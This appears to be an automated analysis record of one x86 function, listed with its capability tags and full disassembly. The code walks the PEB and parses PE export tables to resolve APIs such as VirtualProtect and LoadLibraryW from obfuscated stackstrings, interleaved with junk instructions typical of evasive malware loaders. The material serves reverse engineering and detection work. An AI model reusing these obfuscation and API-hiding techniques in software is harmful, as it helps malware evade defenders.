Function at 0x506e42
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push edx
push esi
add esp, 4
xor edx, 0x131cd
add byte [edx + 0x57], bl
add byte [edx + 0x57], bl
push edi
add esp, 4
add edi, 0x406c
or edi, 0xe822
jmp 0x506bbd
pop edi
push eax
and eax, 0x15cab
jmp 0x506bcb
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
call 0x506c03
add byte [ebx + esi + 0x3c], cl
dec esi
inc edi
inc edx
add esp, 4
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0x93b3
xor ecx, 0x17a34
call 0x506c24
add byte [edi], dh
aas
inc esi
xor eax, 0xc4833d3d
add al, 0x59
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push edx
add esp, 4
add edx, 0x2f7a
pop edx
push edi
xor edi, 0x92af
sub edi, 0x17ff8
call 0x506ca7
add byte [edx], dh
dec esi
inc ebp
dec edi
inc eax
inc esi
dec esi
add esp, 4
and edi, 0xb773
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x506cce
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x506d28
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x506bf6
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x506bf6
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x506d12
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x506d1c
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x506d71
push edx
push ebx
add esp, 4
xor edx, 0x72d5
or edx, 0x712c
pop edx
push ecx
and ecx, 0xd5
or ecx, 0x152a6
sub ecx, 0x2315
pop ecx
push ecx
push edx
add esp, 4
xor ecx, 0xd2d5
pop ecx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x506dd9
push ebx
xor ebx, 0x6a3d
sub ebx, 0x77af
sub ebx, 0x2a8
pop ebx
push edi
push edx
add esp, 4
and edi, 0x15387
and edi, 0x3161
xor edi, 0x4029
xor edi, 0x10f5c
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x506dcf
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x506b9a
mov dword [ebp - 0x2e0], 0
push ecx
add ecx, 0x23d6
xor ecx, 0xa58f
sub ecx, 0xff7a
pop ecx
push eax
push ebx
add esp, 4
sub eax, 0xd8e8
xor eax, 0xf94c
xor eax, 0xa66d
sub eax, 0x10c3c
pop eax
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
or eax, 0x185af
sub eax, 0xd876
pop eax
push esi
sub esi, 0xf1fc
or esi, 0x4ad2
call 0x506e42
add byte [edx + 0x33], cl
inc edx
dec esp
cmp al, 0x4b
add esp, 4
or esi, 0x11f27
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
add byte [ebp + 0x11], dh
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50716d
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x506ea4
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50716d
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x506ed6
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x50716d
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x506efb
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x50716d
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x506f55
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x507161
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x506fc5
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x507077
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x507077
push edx
push esi
add esp, 4
xor edx, 0xc03b
and edx, 0xa2aa
jmp 0x507009
pop edx
push edx
sub edx, 0x11845
and edx, 0xf997
or edx, 0xf0c
xor edx, 0xf0cf
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x507069
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x507070
jmp 0x506fb6
jmp 0x507077
push edx
push edi
add esp, 4
sub edx, 0x206
sub edx, 0x16a18
or edx, 0x12b82
jmp 0x507096
pop edx
push ebx
push edi
add esp, 4
add ebx, 0xbe20
and ebx, 0xe358
pop ebx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x5070d6
mov dword [ebp - 0xc40], 0
jmp 0x507145
push edi
push edi
add esp, 4
or edi, 0x8649
pop edi
push edx
push edx
add esp, 4
xor edx, 0x105de
add edx, 0x1452a
pop edx
push eax
xor eax, 0x135c5
sub eax, 0xa223
or eax, 0x8ebd
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x50713b
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x507145
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x50715c
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x50716d
jmp 0x506f46
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
push edx
add esp, 4
jmp 0x507184
xor edx, 0x3f47
sub edx, 0xe320
pop edx
push ecx
and ecx, 0x297e
xor ecx, 0x6ee
or ecx, 0xda66
xor ecx, 0x1838b
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
sub esi, 0x3cd
pop esi
push ecx
push edx
add esp, 4
and ecx, 0x45c8
and ecx, 0x86a0
xor ecx, 0xe1ca
add ecx, 0x234a
pop ecx
push edi
push edi
add esp, 4
and edi, 0x48cf
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x5071fe
cmp dword [ebp - 0xa5c], 0
jne 0x507244
push edx
jmp 0x507206
and edx, 0xbb64
or edx, 0x7f93
pop edx
push esi
push edi
add esp, 4
jmp 0x50721d
add esi, 0x10be7
sub esi, 0x128c4
xor esi, 0x157a3
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
or eax, 0x13743
pop eax
push eax
push ecx
add esp, 4
xor eax, 0x15743
add eax, 0xdffe
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x89e3
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x16a5a
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
push ecx
add esp, 4
add esi, 0x11595
sub esi, 0x245a
sub esi, 0x9d9c
pop esi
push edx
add edx, 0x5bb5
sub edx, 0x453a
and edx, 0xd26a
add edx, 0x3d4b
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
push edi
add esp, 4
add esi, 0xfbb3
add esi, 0x63c7
xor esi, 0xb233
pop esi
push edx
push edx
add esp, 4
xor edx, 0x7e39
add edx, 0xb656
jmp 0x507377
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
call 0x5073b0
add byte [esp + esi], bh
xor eax, 0x3a383f4e
inc ebx
inc ecx
inc ebx
add esp, 4
call 0x5073bf
add byte [edx], bh
xor eax, 0x834e353f
les eax, [ecx + eax*4]
shr dword [eax + 0x4b], 1
add bl, ch
push es
cmp al, 0x4d
cmp byte [0x83594e4c], dh
mov ebp, 0xffffeaf4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x507690
push edx
add edx, 0x3888
xor edx, 0x13981
pop edx
push eax
jmp 0x5076a5
add eax, 0x1e82
call 0x5076b8
add byte [edi], bh
inc esp
cmp esi, dword [0x834b344b]
les eax, [ebx + ebp*8]
add al, 0x3d
dec edi
inc esp
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x507fc7
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push ebx
add esp, 4
or ebx, 0x24d1
pop ebx
push edx
push esi
add esp, 4
add edx, 0xcd0e
sub edx, 0x298e
pop edx
push esi
add esi, 0x1493c
or esi, 0x15f0b
and esi, 0x1ec0
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
push eax
add esp, 4
jmp 0x507827
jmp 0x50782c
add ebx, 0xe97d
pop ebx
push ecx
push eax
add esp, 4
call 0x507845
add byte [edx], bh
dec ebx
cmp dword [edi], edi
dec eax
cmp eax, 0x4c48344
and ecx, 0xfa1d
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x507867
mov dword [ebp - 0x710], 0
jmp 0x507b0e
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
push ecx
add esp, 4
sub esi, 0x85a8
xor esi, 0xa65c
add esi, 0x10ae
pop esi
push ecx
jmp 0x507898
call 0x5078a7
add byte [eax + 0x33], al
dec edx
cmp eax, 0x3f384f44
dec edi
add esp, 4
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x5078c3
mov dword [ebp - 0x710], 0
jmp 0x507b0e
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax